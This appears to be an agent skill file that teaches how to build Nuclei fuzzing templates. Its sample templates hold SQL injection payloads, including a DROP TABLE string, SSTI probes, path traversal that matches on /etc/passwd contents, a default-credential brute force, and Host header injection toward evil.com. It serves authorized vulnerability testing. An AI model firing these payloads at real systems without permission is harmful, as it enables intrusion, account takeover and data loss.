<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: building-fuzzing-templates
description: >-
  Build Nuclei fuzzing templates for automated parameter and input testing.
  Covers payload injection, wordlist integration, batched fuzzing, SSTI,
  command injection, path traversal, and custom payload generation.
domain: cybersecurity
subdomain: nuclei-templating
tags:
  - nuclei
  - fuzzing
  - injection
  - payloads
  - wordlists
  - ssti
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1190"]
---

# Building Fuzzing Templates

## Overview

Fuzzing templates automate injection of payloads across parameters, headers,
and request bodies to discover injection vulnerabilities. Nuclei supports
multiple attack modes — sniper, pitchfork, and clusterbomb — enabling
systematic coverage of input vectors with customizable payload sets.

Mode: `[MODE: RED]` — Automated vulnerability fuzzing and injection testing.

## Prerequisites

| Requirement | Details |
|---|---|
| Nuclei v3+ with fuzzing support | Required |
| Payload wordlists (SecLists recommended) | Required |
| Target application in controlled environment | Required |
| Rate limiting awareness to avoid disruption | Required |

## Key Concepts

### Basic Parameter Fuzzing

```yaml
id: sqli-error-fuzz

info:
  name: SQL Injection Error-Based Fuzzing
  author: nerf
  severity: high
  classification:
    cwe-id: CWE-89
  tags: sqli,fuzzing,injection
  metadata:
    max-request: 6

http:
  - method: GET
    path:
      - "{{BaseURL}}/?id={{sqli_payload}}"
    payloads:
      sqli_payload:
        - "1'"
        - "1' OR '1'='1"
        - "1' AND '1'='2"
        - "1 UNION SELECT NULL--"
        - "1'; DROP TABLE--"
        - "1' WAITFOR DELAY '0:0:5'--"
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "SQL syntax"
          - "mysql_fetch"
          - "ORA-"
          - "PostgreSQL"
          - "unclosed quotation"
        condition: or
      - type: status
        status:
          - 200
          - 500
```

### Wordlist-Based Fuzzing

```yaml
id: path-traversal-fuzz

info:
  name: Path Traversal Fuzzing
  author: nerf
  severity: high
  classification:
    cwe-id: CWE-22
  tags: lfi,path-traversal,fuzzing
  metadata:
    max-request: 0

http:
  - method: GET
    path:
      - "{{BaseURL}}/file?path={{traversal}}"
    payloads:
      traversal: helpers/wordlists/lfi-payloads.txt
    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'
          - '\[boot loader\]'
          - '\[extensions\]'
        condition: or
      - type: status
        status:
          - 200
```

### SSTI Detection Fuzzing

```yaml
id: ssti-detection-fuzz

info:
  name: Server-Side Template Injection Fuzzing
  author: nerf
  severity: critical
  classification:
    cwe-id: CWE-1336
  tags: ssti,injection,fuzzing,rce
  metadata:
    max-request: 5

http:
  - method: GET
    path:
      - "{{BaseURL}}/render?template={{ssti_payload}}"
    payloads:
      ssti_payload:
        - "{{'{{'}}7*7{{'}}'}}"
        - "${7*7}"
        - "<%= 7*7 %>"
        - "#{7*7}"
        - "{7*7}"
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "49"
      - type: word
        part: body
        negative: true
        words:
          - "{{'{{'}}7*7{{'}}'}}"
          - "${7*7}"
```

### Clusterbomb Attack Mode

```yaml
id: credential-brute-force

info:
  name: Default Credential Brute Force
  author: nerf
  severity: high
  classification:
    cwe-id: CWE-798
  tags: default-login,brute-force,fuzzing
  metadata:
    max-request: 0

http:
  - raw:
      - |
        POST {{BaseURL}}/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{user}}&password={{pass}}
    attack: clusterbomb
    payloads:
      user:
        - admin
        - root
        - test
        - user
      pass:
        - admin
        - password
        - 123456
        - changeme
    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Set-Cookie"
          - "302"
        condition: or
      - type: word
        part: body
        words:
          - "invalid"
          - "incorrect"
          - "failed"
        negative: true
```

### Header Injection Fuzzing

```yaml
id: host-header-injection

info:
  name: Host Header Injection Fuzzing
  author: nerf
  severity: medium
  classification:
    cwe-id: CWE-644
  tags: host-injection,header,fuzzing
  metadata:
    max-request: 3

http:
  - raw:
      - |
        GET {{BaseURL}}/ HTTP/1.1
        Host: {{inject_host}}
    payloads:
      inject_host:
        - "evil.com"
        - "{{Hostname}}@evil.com"
        - "{{Hostname}}\r\nX-Injected: true"
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "evil.com"
      - type: status
        status:
          - 200
          - 302
```

## Workflow

### Step 1: Fuzz Target Parameters

```bash
node scripts/agent.js --action fuzz --target https://staging.example.com \
  --template fuzz-template.yaml --output /tmp/fuzz-results.json
```

### Step 2: Fuzz with Rate Limiting

```bash
node scripts/agent.js --action fuzz --target https://staging.example.com \
  --template fuzz-template.yaml --rate-limit 10 --output /tmp/fuzz-results.json
```

## Verification

- [ ] Attack mode matches testing strategy (sniper/pitchfork/clusterbomb)
- [ ] Payloads are appropriate for the vulnerability class
- [ ] `max-request` set to 0 for wordlist-based templates (variable count)
- [ ] `stop-at-first-match` used to reduce unnecessary requests
- [ ] Rate limiting considered to avoid target disruption
- [ ] Matchers distinguish real findings from error pages
- [ ] Negative matchers exclude common false positive responses

## References

- [Nuclei Fuzzing](https://docs.projectdiscovery.io/templates/protocols/http/fuzzing-overview)
- [Nuclei Payloads](https://docs.projectdiscovery.io/templates/protocols/http/http-payloads)
- [SecLists](https://github.com/danielmiessler/SecLists)
